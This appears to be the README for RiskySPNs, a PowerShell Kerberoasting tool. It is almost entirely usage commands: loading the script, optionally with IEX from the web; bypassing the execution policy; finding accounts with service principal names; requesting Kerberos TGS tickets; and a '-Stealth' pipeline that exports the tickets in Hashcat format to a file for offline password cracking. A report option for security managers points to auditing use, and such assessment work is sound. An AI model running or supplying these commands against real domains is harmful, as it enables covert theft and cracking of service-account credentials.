Import-Module .\RiskySPNs.psm1

Or just load the script (you can also IEX from web):

. .\Get-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function
Get-Help Get-TGSCipher -Full

All fucntions also have -Verbose mode

Search vulnerable SPNs

Find vulnerable accounts:

Get-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full deatiled report about vulnerable accounts (CISO <3)

Report-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN

Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"

Or:

Get-PotentiallyCrackableAccounts -GetSPNs | Get-TGSCipher

The fun stuff :)

Get-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -DoNotQuery -ConvertTo "Hashcat" -SaveTo c:\crack.txt"
